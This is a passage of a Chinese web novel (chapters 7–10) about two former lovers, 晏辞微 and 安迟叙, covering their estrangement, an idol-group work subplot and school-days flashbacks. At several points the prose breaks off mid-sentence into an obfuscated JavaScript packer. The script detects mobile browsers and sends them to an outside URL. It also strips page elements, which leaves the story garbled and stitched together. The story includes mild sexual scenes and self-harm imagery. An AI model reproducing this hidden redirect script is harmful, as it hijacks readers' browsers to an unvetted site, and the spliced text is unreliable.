她学了很多,每每笨拙的喊出姐姐,尝试着诱.引,总会得到回应。 晏辞微喉头微动,瞥向窗外。 梅雨季,窗外阴雨朦胧。 连绵的雨把落地窗织成白雾,雨渍留在窗户上,模糊视野。 光线低垂。两个人没有开灯,此刻午时,竟有些昏暗。 她们躺在客厅的地毯上,不怎么干净,也不怎么私.密。 安迟叙的手不大安分的捏着晏辞微,带来些酥酥的感受。 晏辞微收回眼神,放松呼吸,柔软肌肤。 她的团团想要,那就给她。 晏辞微闭上眼,安迟叙的吻落下来,热烈融化梅雨季的阴冷。 …… 四号早晨。 安排好一切的晏辞微把迷糊中的安迟叙抱下楼,两个人一起坐上车。 她们开过繁华,开过拥挤,开过大桥。 一路开往目的地的远方。那里也有清澈的湖,连绵的雨。 四号的黄昏,她们在一片空旷中停了车,天地间只剩彼此。 黄昏迎来一场骤雨。夏日的风暴七零八落砸痛渺小的情侣。 她们彼此依偎着,倔强不肯回到车内。 晏辞微要在这里拍摄日落和她的爱人。安迟叙陪伴她,永远追随她的指引。 远处的绵延的山脉,乌云只遮了一半的天幕。 她们这一侧昏黑,对岸有金灿灿的斜阳,漆红的云。 安迟叙撑着雨衣披风,和晏辞微一同躲在披风之下相拥。 “团团。”爱人的声音从耳畔传来。十八岁的少年侧目,望见爱人眼中的黄昏。 她的睫毛好似画笔,一开一合将阴阳昏晓描摹在眼瞳上。 于是安迟叙踮起脚。 在夏季黄昏的骤雨里,小心翼翼的亲吻爱人的唇。 *** 骤雨急了。 这个微妙的夜晚,迎来微妙的雨。 雨点稀里哗啦的敲着窗,如泪如泣。 晏辞微仰着头望向安迟叙的淡漠,那颗被安迟叙擦去的泪珠重新在眼角成型。 安迟叙再也没有十八岁的热烈、信赖,和叛逆的义无反顾。 二十五岁的她眼里只剩凄凄的霜,爱早被冰雪融化。 她擦去晏辞微的泪,是惯性,也是礼貌。 安迟叙的手就要收回去了。 晏辞微将安全带扣好,咔哒一声叫安迟叙动作慢了半拍。 她往回缩的手被晏辞微捉住,贴回晏辞微的脸颊。 掌心被烫伤。 晏辞微还留着安迟叙不要的热烈。 她绽放一个笑,像一场黄昏。 安迟叙所有的记忆都在她身上。 笑里夹着泪。泪比骤雨大,一行接着一行,奔涌不回头。 ——不要想我。 晏辞微哭也哭得体面、漂亮。 她没有难看的脸红给安迟叙看。 “那,团团。”晏辞微的声音太轻,飘渺到安迟叙以为自己被烫出了幻觉。 “你要如何阻止一场思念?”晏辞微叩紧安迟叙的手,叫她不能退缩。 滚烫的泪随着笑容滑入安迟叙的掌心,不断加深那里的温度,咸涩的热刺痛安迟叙的手掌,叫她眉心一跳。 思念和骤雨分明一样。 想来便来了。 安迟叙只能像过往的无数次那样,站在骤雨里狼狈——这回还少了爱人的陪伴。 “来阻止我吧。”晏辞微轻哂,喉头微动着,好似曾经。 “我会一直思念你。” 安迟叙望着她亲吻无数次的喉头,咬过的微凸。 它们处在下位,晏辞微的仰望好似朝她下跪。 安迟叙又听见熟悉的雨点,亲昵的呼唤。 猛地抽回发烫的手。 “不要逼我恨你。”安迟叙别过脸。 过去多久了,她在晏辞微面前依旧相形见绌,像个闹脾气的小孩。 “那就恨吧。如果这能让你好受。”晏辞微期待安迟叙的恨。 只是因为爱安迟叙至深。 恨比爱长久,她们不要变成毫无关系的陌生人。 安迟叙果然给予了晏辞微一场冷眼。 她降下车窗,雨泥的气息扑面而来,骤雨顺势呼啸进车内。 安迟叙伸手探出窗外,把方才贴在晏辞微脸上的手远远的抛开。 丢入骤雨里。 她要用肮脏的雨水覆盖晏辞微的泪。 冰冷凉了滚烫。 她凝视着晏辞微,决绝的表演一场恨。 晏辞微坐回驾驶位上,凄笑着擦去多余的泪痕。 安迟叙的冷眼果然是刀。带着恨意的一举一动凌迟着晏辞微的心。 可她竟然还有些兴奋,血脉顺着她的爱意在体内鼓动。 来恨她吧。 晏辞微发动车辆,等安迟叙收回手,关好窗户,再稳稳的开出去。 她会爱回去的。 *** 安迟叙的小区到了。 晏辞微轻车熟路的拐进安迟叙的单元楼下,望着窗外没有停的雨,轻声叹息。 她拿出车里的伞,打开自己这一侧的门,走到副驾驶门口。 她把红伞前倾,背已然湿了一片。 又觉得不够,干脆自己站出阴影,把伞下的面积全部留给安迟叙。 晏辞微伸手想去拉车门。 车门自己开了。 安迟叙手里拿着防水的公文包,冷眼依旧,恨意都快弥散成空无。 晏辞微给她一个笑,眉尾低垂,勉强又脆弱。一个笑容成了气泡,轻触即碎。 安迟叙的眼不过在晏辞微身上停留一瞬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晏辞微身体没那么好,大暴雨淋在身上,还不及时冲洗,肯定要发烧。 安迟叙只关心了一会儿就淡了。 爱也好,恨也罢,她都累了。 她们还是当陌路人比较好。 “小橘子,适应我的家了吗?”安迟叙一边重新组装猫爬架,一边看自来熟小猫对着组装好的部分抓咬。 想来不需要她问,橘子也适应她家了。 最近几日橘子吃喝拉撒都很正常呢。晚上还会在安迟叙房间转一圈。 安迟叙恶补了很多养猫常识,没再问“裴昱希”傻问题。 尽管还没有解锁猫咪陪睡,安迟叙也很满足了。 “我要去工作了。”安迟叙把猫爬架最后一颗螺丝钉安好,拍好照片发给“裴昱希”,将跃跃欲试的橘子抱到最高层。 橘子踩了两下毛绒质感的平台,翘起毛茸茸的松鼠尾巴,就着这高度开始踩奶打呼。 “你真是最可爱的小猫。好好在家等我。”安迟叙摸过橘子的头,挠挠她的下巴。 踌躇片刻后,踮起脚。 亲过小猫的额头。 许久没有用嘴唇感受过别的生物。 安迟叙出门后按着发麻的嘴唇想,她大概并不适合亲猫。 以前没发觉亲吻会让嘴唇这么难受。 *** 安迟叙提前半个小时赶到通告现场。 裴落尘和周妍西两个扛热度的成员不在,通告现场人还不多。 后台,也只有沈既白和另一个热度不高的小妹妹。 安迟叙看过现场的人数,心里一声叹。 如果裴落尘也参与,这里应该已经人满为患,她需要走员工通道进入了。 这个月多努力吧。安迟叙钻入后台。 沈既白于人群中第一眼看见了安迟叙,喜笑颜开,桃色爬上脸蛋。 她正准备跟安迟叙招手。 忽然发现不远处的安迟叙愣住了。 安迟叙的眼扫向某一侧。 时隔两日,晏辞微竟然来参加这么小的通告。 额头上贴着退烧片,手上还有留置针。 安迟叙只停顿了一秒,晏辞微就抓住这熟悉的眸光,转向她所在的方向。 四目相对,晏辞微眼里只有清亮的喜悦。 天阴了。商场没了自然光,稍显昏暗。 快下雨了。 安迟叙没能阻止这场思念。 8. 第 8 章 梅雨季就是这般惹人厌。 淅淅沥沥的雨声一瞬淹没安迟叙的耳畔。 她仿佛溺水,却不再挣扎,清眸看着不断浮沉的气泡,而她本人沉沉下坠,直到眼底只剩一束光。 晏辞微从不回避眼神。 她们认识的那一年,晏辞微就喜欢这样看着她。 那时课堂上,晏辞微坐在安迟叙身后,把她头发都数了个遍。 悄悄给她编辫子,在她背上写字…… 年级前三的好学生在安迟叙身上把坏事做了个遍。 那时起安迟叙就记住了晏辞微的目光。 永远直白,复杂。 不止藏着爱恋。 安迟叙垂眸,又看了一眼晏辞微手背上的留置针。 她果然发烧了。 她不该下车,不该给自己送伞,不该淋雨。 安迟叙有许多个不该还给晏辞微,她到底什么都没说。 雨越下越大。稀里糊涂的把来参加通告的粉丝赶跑。 沈既白是个小倒霉蛋,做什么都赶不上好。 安迟叙无能为力,她阻止不了天姥的无常喜怒。 也阻止不了一场思念。 安迟叙放弃了。 “既白,准备好了吗?”她走向她该去的位置。 她要帮沈既白盘一下待会儿的表现。 “安姐姐。”沈既白看得出雀跃,脸上的光都比方才有色彩。 “有点紧张。我第一次一个人,啊不是,算是两个人吧,参加这种活动。”她不过十六岁,遇到事还不能很好的隐藏自己的情绪。 欢喜的时候,眼睛都像琥珀。 安迟叙不是没看出来。 只是沈既白年纪太小,她们关系也复杂。 她不能做戳破窗户纸的坏大人,更给不了沈既白想要的爱,只能等待少年的憧憬消失。 “有安排我做什么吗?”她对人设的理解还停留在上面的安排呢。 安迟叙原本准备好了方案。 活动现场,沈既白该说什么去维持她的人设,做什么让粉丝相信她是叛逆的酷小孩,是她们没能做到的自己。 活动的每一个细节都有预设。就连带头起哄的粉丝,发问的粉丝,都是公司安排好的演员。 真正的粉丝太不可控。公司迂腐的高层讨厌这种不可控的感觉。 安迟叙对上沈既白带着虹彩的眼,去拿方案的手忽然顿住。 公司的安排不合理。 安迟叙早就知道这一点。 有的人对扮演人设适应的很好,譬如裴落尘,台上台下完全两模两样。 她把疏离清冷的那一面刻在表皮上,真实的随意轻佻永远不会被影响。 有的人把人设融入自己的一部分。 周妍西是害羞温柔的人设,演久了,现实生活里也变成那副稍带怯懦的可怜模样。 但沈既白和她们不一样。 沈既白不是一个好演员。她热情努力,却理解不了人设的精髓,只会照着自己给的文字说明去做。 所以,有必要听从公司的安排吗? 安迟叙向右瞥了一眼。阴影里,她最熟悉的轮廓若隐若现,一点光悄悄抵达她身上,抓着她。 像牵引、控制,晏辞微总在做的事。 ……也像鼓励。 安迟叙把手收了回来。 “沈既白。”安迟叙掌上少年的肩膀。 曾经没有人对她说过这句话。她最爱的人消磨了她的勇气和自我。 十年后,她只能以这样的方式提醒过去的自己。 “做自己吧。”这是她这次留给沈既白的唯一人设。 沈既白惊诧抬头,嘴都张大了。 “去做你想做的事。说你想说的话吧。你不是一直想感谢那几个每次都来看你的粉丝吗?还给她们写了回信。去告诉她们你的想法吧。” 安迟叙说这番话的时候神情好不一样。 沈既白痴望着安迟叙,觉着她周身的光晕又扩大了一点,刺目到她有些不敢直视了。 “可,可是安姐。”沈既白收回眼神,下意识为惯性辩护。 “要是失败了怎么办?万一她们不喜欢我这样呢?” 安迟叙没法为她保证。爱豆的做自己和她的到底不一样。 作为成年人的安迟叙能承受一次工作的失败。 可十六岁的沈既白能承受偏离设定后的反噬吗? “那,这是备案。”安迟叙还是把她准备的稿子拿了出来。 没有人可以一步脱离过去,二十五岁的安迟叙也不行。 把她的理想加在小妹妹身上还是太沉重了。 她的自救不该和旁人有关。 安迟叙没再多说。 沈既白去旁边背稿子,背得挺痛苦。 人设和她本人差距太大了,她其实早就对这个人设不满了。 上一任人设策划师在位的时候,沈既白要花比队友多几倍的时间去琢磨这份人设,去排练,极大的影响了她对自己专业的练习,唱跳水平有所下滑,人气掉的更厉害。 所以那位人设策划师被调走了。安迟叙来之后,沈既白的日子好过了不少。 只有安迟叙会接触她,了解她的习惯、喜好,依照她的真实,去构筑她的面具。 只是,就算这么痛苦,沈既白也没有想过脱离人设,展现真实的自我。 接下来的事和安迟叙无关了。 她侧头想要寻找晏辞微,忽然发现那道落在她身上的目光不知何时消失了。 走了? 安迟叙眉心微蹙,不过一呼吸,又把这件事放下。 还是看看沈既白怎么选吧。 *** “她算什么?和她关系很好吗?她的喜欢看不出来吗?” 安迟叙只是想去个卫生间,就听见了熟悉的声音。 怪酸的。印象里的晏辞微永远胸有成竹,有尽在掌控的张扬和清爽的谦逊。 安迟叙有太久没有听过这样的语气,尘封的记忆有些松动。 她呼吸也停了一秒,没多纠结,走向晏辞微在的角落。 “你没走啊。”就好像没有戳穿晏辞微在背后说坏话的自觉。安迟叙的语气平静如常。 倒是晏辞微被抓包之后,耳根都红成甜芭乐了。 嘴唇咬着,眼角莫名出了滴泪。 她迅速把手里的东西藏在了身后。 安迟叙视线被她动作吸引,就看见了一团棉絮,似乎是一只被扎破的布娃娃。 晏辞微这是在……扎她的布娃娃泄愤? 安迟叙不太明白晏辞微的举动,干脆无视了她的异常。 晏辞微调整的很快。不过一瞬,除去眼底的泪雾,她已然恢复成安迟叙熟悉的模样。 “团团,你找我吗?”这会儿安迟叙才听出来,晏辞微声音有点哑。 她还贴着退烧贴,挂着留置针呢。 发了烧还要来这么多人的地方。安迟叙眼底的波光闪了下。 “是找你。”安迟叙摇头,拿出随身带的口罩,递给晏辞微。 晏辞微下意识接过,而后懊恼。 多好的机会,她该低头,让安迟叙给她戴口罩的。 “你待会儿还在这里吗?”安迟叙看着晏辞微戴好口罩。 被她藏起来的那只布娃娃已经消失了。 晏辞微只剩发烧的脆弱,眼底的水雾散不掉,呼吸带着咳嗽的轻.喘。 “你想我在哪里呢?”她的声音隔着口罩传来,闷闷的。 好像她们之间隔了浓厚的雾。安迟叙甚至有些看不清晏辞微的脸。 那张久违的脸上带着的,依旧是爱恋的笑意吗? 晏辞微难道没有一丝思念的酸楚,分离的疼痛? 安迟叙别开眼神。 “你……在这里也行。”本来想让晏辞微定的。 又下意识把决定权交给晏辞微了。安迟叙微恼,眉心皱得漂亮。 “等我一刻钟。”安迟叙说罢便离开了,也没有交代她要做什么。 晏辞微默默注视着安迟叙离去。瞧着她诱人的背影,心弦颤动。 只有安迟叙可以这样对待她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908835|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抛弃或不语。 而她在痛苦里甘之如饴。 …… 安迟叙真的回来了。 她带着药,还有一个保温杯走向晏辞微。 晏辞微就像她乖巧的娃娃,整个十二分钟里一步都没有动,睫毛都保持低垂的状态,沾着未干的泪珠。脸颊还有些绯色,被口罩遮了一半。 看见安迟叙来,她扬起眼,眸月跟花瓣一样可爱。 “团团。”晏辞微的喜悦也盖不住。 她好像还是十五六岁的小姑娘,看见心上人,无形的毛绒尾巴摇晃成影。 安迟叙把药递到晏辞微手里,扭开保温杯盖。 是一碗热姜糖水。 晏辞微都不知道安迟叙如何在短短一刻钟里准备这么多。 这是近期最好的事。晏辞微努力放慢眨眼的频率,想把她们的时间拉长。 “喝点吧。”安迟叙把杯口送到晏辞微眼前。 晏辞微拉下口罩低头。“想要团团喂我。” 她是挺不要脸的。 安迟叙了解她,哂笑一声。 “晏辞微。”她没有做那么暧昧的举动。一只保温杯稳稳落在晏辞微掌心。 “我是觉得,你病成这样,我也有责任。”并不是想要重新接纳她。 安迟叙的眼眸带着一丝笑意。 晏辞微怔怔看了好一会儿才品出来,那不是喜悦也不是动心。 是讥讽。 她把姜糖水慢慢咽下去,明明是她最喜欢的甜度,姜味却又辣又呛,刺激得她浑身发热。 “你让我恨你。”安迟叙默了好久,才靠在她身边,缓缓开口。 晏辞微的头脑提前一步产生嗡鸣。 她想要阻止安迟叙继续,却无力做到。 “我试了,但我做不到。”安迟叙说罢看向晏辞微。 她的眼里没有恨。恨晏辞微不能让她产生快.感。 却也没有爱。 十六岁的安迟叙早被时间埋葬。 她们不该再有关系了。 晏辞微眸光颤动着,是一场地震。 眼底已经天崩地裂,泪是海啸,快要扑出来。 面上,只有牙齿微微颤抖。 她开口想要说什么。 安迟叙来恨她吧。来伤害她,刺痛她,骂她打她。 她求求安迟叙…… 晏辞微最终只是嚅喏着,咬痛嘴唇。 安迟叙看见了一切,心有愧疚,所以抚摸晏辞微。 不愿再有牵扯,她仅仅抚上晏辞微的手背。 “那回来爱我。”晏辞微急匆匆的开口,想要抓住安迟叙的手。 “我需要你,团团,我……”晏辞微对上安迟叙的眼。 淡漠的委婉拒绝将晏辞微扑灭。 她们对视了太久,久到保温杯盖里剩的姜糖汤彻底冷却。 安迟叙终于在晏辞微落泪前收回眼神。 “照顾好自己。”安迟叙离开了。 头也不回,和那夜骤雨一样。 离别也是骤雨。晏辞微终究没能阻止。 心上人的身影彻底消失在喧嚣里,晏辞微狼狈咬破嘴唇,眼泪哗啦冲淡血色。 口罩被她扯下,想丢又舍不得,珍惜的叠好藏进衣兜。 晏辞微把手上的留置针扯掉。 疼痛让她找回自我。 持续走高的体温让她心跳加速。 血液被一碗姜汤翻覆,滚烫成熔岩。 晏辞微滑落在地上,埋着头掩盖豆大的泪,和身下的狼藉。 她告诉不了任何人。 分开的这两天,高烧的这两天。 她的情绪近乎崩溃。 每天看着那个网友发视频,和猫亲密互动。 她把对方当成安迟叙,敷衍回复,心绪发狂,醋酸打翻满堂。 是情绪冲着感冒愈演愈烈。 她最思念安迟叙的时候,只能借助自己的抚摸,想象。 高烧不退。 她的心,也发了烧。 犹如一场大水降临在裙摆之间。 9. 第 9 章 晏辞微第一次认识这样的自己。 她知道她对安迟叙很有欲.望。 从很早的时候开始,她的目光频频落在安迟叙的指尖。 鼻尖,下颚,胸腹…… 她渴望安迟叙的身.体,更渴望她的降临。 她做过那样的梦。 高三那年。她早出生半年,已经满了十八岁。 那天安迟叙来给她过生,她们悄悄挤在出租屋里盖着头看恐怖片。 鬼出来的时候安迟叙扑到晏辞微怀里,假装瑟瑟发抖的抱紧她。 少女清荷的发丝略了一抹在晏辞微鼻尖,挠得她失了体面,一个喷嚏后干脆落入安迟叙怀中。 她们把找刺激的恐怖电影关了,就着暧昧的氛围给彼此涂奶油。 当晚,安迟叙睡在晏辞微身边。 晏辞微搂着她,梦里满是荒唐。 梦中的安迟叙跟在她身边。饰品是奶油蛋糕的模样。 她挑指捻下一撮奶油,刮在安迟叙的锁骨上。 安迟叙坐得乖巧,双目濡.湿。 水汪汪的看向她,把她变成引导的姐姐。 于是晏辞微朝安迟叙勾勾手指。 “来吻我。” 梦中的安迟叙把锁骨上的奶油,晏辞微亲手涂上的奶油糊了晏辞微一身。 在那之后,晏辞微已经很久没有梦到过安迟叙了。 她们平平稳稳的度过了六年,在第七年爆发争吵。 安迟叙说她积怨已久。晏辞微对此却一无所知。 她们分开后,晏辞微克制着思念,不想叨扰安迟叙,以疼痛充当抑制剂。 整夜整夜的疼痛。哪儿顾得上邀请安迟叙入梦。 可这几日,安迟叙来的太频繁。 除却她的自以为是,她们总是在公司相遇。 电梯里的偶遇,是她精心计算的巧合。 她本以为就那一次。她告诫自己放纵只需一次。 可她实打实见到了安迟叙,不是照片、回忆,或者似是而非的网友。 她再也忍不住思念,来到安迟叙面前。 其实挺丑陋的。她们说好不再打扰,安迟叙煞费苦心划清界限。她却又在安迟叙面前丢脸了。 苦苦维持的距离又一次扩大。 这回哪怕看见安迟叙,她也没法得到些许安心。 晏辞微拖着疲惫的心,回到家,重新把点滴挂好。 她挠了下左手被扎过的地方。痒意叫她眉心紧锁。 这会儿又入夜了。 她的人汇报说,今天通告举行的很圆满,安迟叙也在一个小时前离开。 算算时间,安迟叙应当已经到家,开始洗漱放松了。 晏辞微倒在床榻上,毫无顾忌的摆着大字,双目无神。 一旁的手机嗡嗡作响,晏辞微厌烦着,忍不住摔它在床上。 她没有看消息,关机,也闭上双眼。 还是想着安迟叙入睡,她才能安心。 *** 安迟叙陪沈既白跑完通告才回家。 今天的通告很顺利。哪怕只来了很少的粉丝,沈既白的状态却很好。 她甚至真的没有按人设来,而是走到台下,跟支持她很久的粉丝认真道了谢。 真诚的人会得到她应有的回报。 安迟叙回到家的这四十多分钟里,沈既白和粉丝互动的视频有爆款的迹象,已经十万赞了。 这还是真路好拍摄的,看主页她似乎是团粉,最喜欢周妍西,但也会参加团队别的成员的活动。 公司安排的人还没剪辑完视频,估计马上也要去蹭热度装路人发布了。 这是好事。沈既白迈出了第一步,做回了自己,哪怕只有五分钟。 爱她的人不会因为她展现的真实而退缩。沈既白本来就是个很可爱的小女孩。 安迟叙的情绪却没能因为事业上的成功而抬起。 她低落到没吃晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908836|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭,喝了杯凉水就去洗漱了。 橘子一直在她身边喵,她也只能给橘子放点猫粮,而后将自己关在房间,多余的抚摸都无力给可怜的猫。 橘子在门口刨门,安迟叙也无法回应,沉闷的趴在床上,一直到橘子离去。 她慢吞吞下床,把晏辞微的布娃娃找了出来。 她知道晏辞微有一只她模样的。这是她们大学时期给彼此的一周年纪念礼物,热恋期的小情侣心有灵犀的给彼此准备了一样的礼物。 她缝了她自己,得到了爱人手中的晏辞微。 想来,晏辞微应当也把那只布娃娃好好收着。 安迟叙抚过布娃娃的脸,怜惜似的搓了好几下那前不久才洗干净的脸颊。 手感比起大一那会儿已经有些硬了。到底是晏辞微送的礼物,安迟叙没舍得丢。 今天安迟叙却看见晏辞微在扎那只布娃娃。 安迟叙把布娃娃放在床头柜上,望着曾经爱过的红痣失神。 该如何形容她看见晏辞微扎布娃娃时的心情? 她们分手这么久,竟还是剪不断理还乱。 晏辞微或许恨过她吧,才会对着她的布娃娃泄愤。 她竟然会因为这一幕而低沉。 但她们相爱那么久,最后纠缠不清,她提出分手,其实是她对不起晏辞微。 她罪有应得。 所以,不要再思考晏辞微的事了。 安迟叙平息到情绪凉透,沉底。 她打开手机,这才发现。 今天一整天裴昱希都没有回她。 发生了什么吗? 她不知道,裴昱希也同样觉得奇怪,一天没收到橘子的新视频。 她过两天考完最难的一门,会有时间照顾小猫。 她得想办法把橘子从这个假猫奴手里接回来,这才发了消息。 【小姐姐,我过几天想带橘子去过周末,方便交接一下吗?可能周一再送回你家。】 10. 第 10 章 晏辞微的生日在四月初,和安迟叙差了约莫半年。 她聪慧早熟,熟悉之后安迟叙就把她当大姐姐看了。 高三这年春季,最紧张的时间里,晏辞微邀请安迟叙来参加她的秘密生日宴。 没有告诉别人,哪怕晏辞微还有三五好友,拿到别致邀请函的只有安迟叙一人。 她们已经不在同一个小组,但晏辞微依旧每个课间来找安迟叙。 安迟叙的同桌很识趣,下课就走掉了,习以为常。 晏辞微把手写的邀请函悄悄塞到安迟叙课桌里。 “什么呀这么神秘。”安迟叙人还在座位上呢。 她笑盈盈的望着晏辞微到来,刚准备把头贴过去。 晏辞微的手探过来,她还没来得及捉住,就收回去了。 安迟叙满面的粉光都打上问号了,等着晏辞微给她解答。 “秘密。”晏辞微跟她眨单边眼。睁开的另一只狡黠着,一秒就将安迟叙的心勾了过来。 “团团。”晏辞微凑到安迟叙耳畔。 “有给我准备礼物吗?”她还是没忍住提前告知这个惊喜。 安迟叙瞬间明白那是什么了。 “肯定!去年就开始准备了。”安迟叙看了一眼日历。 四月九号是周末。她的心已经飞走,上课写题都走神了一刻。 晚自习间隙,安迟叙背着人打开晏辞微的邀请函。 她提前跟宿管请好假,周六晚上她便跟着晏辞微回了她的出租屋。 “团团,我只请了你。”晏辞微挽着安迟叙的手。 周五夜晚的校园外嘈杂,而她们靠着小路的暗灯走,所有喧嚣都被抛在身后。 “我好高兴。”十七岁的安迟叙还不懂这一刻的喜悦是什么。 她只是本能的朝晏辞微靠近,再被她接住。 晏辞微瞧着她这样,快活到哼起歌。 安迟叙在一旁踢着小石子当作节拍。十分钟的路恍若转瞬。 进了家门,安迟叙身心都放松了。 早上的模拟分数,没写完的试卷,要补的背诵和抄写全都烟消云散。 好像宿舍不是她的归属,晏辞微的出租屋才是她的家。 她们一起看了恐怖电影,提前吃了晏辞微准备好的生日蛋糕。 零点的闹钟在奶油堆里响起。 安迟叙扑在晏辞微怀里,把织了大半年的围巾塞进她怀里。 还有手写的贺卡,纸折的花…… 安迟叙家里人不管她,伙食费每个学期打在饭卡上。 她没有闲钱给喜欢的人买礼物,唯一能给的只有一片真心。 晏辞微当然明白这一点。 她哪儿图过安迟叙的钱,安迟叙没钱才是最重要的。 “团团,你真好。”也不嫌春日热,更没嫌弃这围巾是安迟叙拆了旧衣服做的,晏辞微把围巾套上。 红艳的颜色意外衬她,肌肤也透出欢喜的血色。 “她们不给你礼物吗?”安迟叙帮晏辞微整理着围巾,才两下又笑开花了。 “不给啊。只有我的团团这么好。”说话的时候,晏辞微侧着脸。 她比安迟叙高半个头,侧身便能挡住客厅幽暗的光。 她们为了氛围感没有开大灯,夜深后客厅更黑。 晏辞微遮住唯一的光源,小夜灯在她背后忽闪,描摹她的边缘,让她变得阴冷。 居高临下的模样,本有些瘆人。 像刚刚看见的鬼。 安迟叙却只看得见晏辞微眼里的笑意。 如果晏辞微是吓人的鬼,那一定会给安迟叙一个拥抱。 那时安迟叙就是这样爱她,黑灯瞎火也要抱住晏辞微的好话。 她不知道,晏辞微注重隐私,没有告诉过别人自己的生日。 所以无论哪年哪月,只有安迟叙会给她礼物。 那一夜安迟叙睡得很沉。 晏辞微有些躁动,醒了很多次,辗转反侧的入了安迟叙的梦。 安迟叙梦见两个月后,五个月后。 她们的高中时代要结束了。以后她们也会这样要好吗? 翌日醒来,安迟叙抓住晏辞微的胳膊,不要她去准备早餐。 “怎么了团团。”晏辞微躺回去。 她眨过含着泪的眼,动作稍显僵硬。 不安的安迟叙没有注意到她的异样。 “要上大学了。”安迟叙嗓音沙哑。 “是啊。还有两个月就要高考了。”晏辞微干脆把她拉过来。 紧密相拥的时刻,晏辞微低垂眼睫。 和梦中一样……柔软。 “不想和我分开吗?”晏辞微总是这样。 一眼就能看穿安迟叙的不安,把她艰难维持的面纱轻轻揭开。 安迟叙只会闻到晏辞微的茉莉香。脱去面纱的过程没有疼痛。 她不需要开口。晏辞微会替她说出她所想的一切。 她只需要抱住晏辞微,仰着头以红涩的眼看向她。 晏辞微抚上安迟叙的头顶。 “那我们可以考同一所学校啊。” 她轻柔的爱抚着惶恐的小猫,没有对她脆弱的嘲笑。 她理解安迟叙的恐惧,好像成熟的姐姐,一步步诱着安迟叙说出她的想法,得到共赢的结论。 “同一个学校同一个专业。到时候我们很大概率分在同一个班,哪怕不是同一个宿舍,我们也可以一起搬去学校外。”晏辞微低下头看着她的团团。 好像长姐,好像母亲。 她永远是指引的那一个。 安迟叙不好意思告诉她,她曾在作文里将晏辞微当作母亲来描写,说她是她永恒的灯塔,荧光的引线。 安迟叙弯了眉眼。 她高一的时候定的目标院校在省内。 她想上那所学校的计算机系,听说就业前景很好。 她靠不了别人,只能自己搜索哪里更好,就业、未来发展预测…… 没有人可以给她有保障的未来,惶恐不安是钝痛,模模糊糊的扎进安迟叙的血脉,成为她的生长痛。 而现在她已经不需要烦恼了。 她有了一个代她劳累的姐姐。 她只需要听姐姐的话就好。 “我知道我们团团一定能考上的。”晏辞微说的一直是她的目标院校。 她已经教安迟叙两年多了。 安迟叙上一次模考水平和她差不多,没道理考不上。 “要是意外落榜……我们给对方做一对娃娃吧。”紧绷的小猫松一口气,下意识悲观起来。 晏辞微带着她从中下学到了中上。最高的一次考过年级第十。 可她知道她骨子里还是那个懦弱迷茫的可怜人,万事都得做好最坏的准备。 晏辞微表情有瞬间抽搐,她不会给安迟叙万一的可能。 “……什么样的?”到底忍了忍脾气。 在安迟叙这里,温柔是她的人设,不能崩。 “像你和我的。”安迟叙伸出手在晏辞微掌心描绘。 “不然我会很想你。”离开了晏辞微,她这辈子恐怕都遇不到这么好的人了。 十七岁的安迟叙看向朦胧的心上人,一双眼有着年少天真的亮。 *** “好想你……” 夜色凝重,晏辞微在床边缓气,眼角挂着清泪,思念快要成霜。 衣兜里有一团异物在烦恼她,让她连一场思念都没法完成。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908837|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她把那东西摸出来。 是她白天扎的布娃娃。 还被安迟叙看见了。 好丢人。 晏辞微抬手把娃娃的头扯下来,冷眼注视了三秒后,将它丢进垃圾桶。 垃圾桶里除了纸,还躺着一只一样的,残破不堪,被刀扎穿,棉花漏了满地的布娃娃。 做工粗糙,一看就是量产商品,和安迟叙手里那只完全不同。 但,特征鲜明。 它们有着乌木似的头发,微卷绵长,凌乱的散开。 眼角有一颗显眼的红痣,最该被爱抚的地方,也最遭人恨,刀穿刺过太多次,已经看不出旧模样了。 往下是棉花娃娃短粗的身子,唯一看不出是谁的地方特地被绣上两颗红痣。 这是晏辞微照着自己模样做的布娃娃。 方才死掉的那只,已经是第98只了。 和安迟叙分开的日子里,晏辞微第98次杀死了自己。 带着血泪汗水和满满的狼狈。 依旧没有得到爱人的吻。 晏辞微拔掉针头关上灯,倒在书桌上任烧热裹挟她,昏睡过去。 被她留在床头柜的手机屏幕忽闪。 *** 【小姐姐,你怎么没回消息呀,这几天工作太忙?】 安迟叙收到裴昱希的消息时,满头问号。 她打开裴昱希的小号看了一眼,没看见裴昱希的消息。倒是她这几天发过去的视频没有回应。 安迟叙截图聊天框发过去。 又收到裴昱希的截图。 两个人在大号聊天框里留下一串问号。 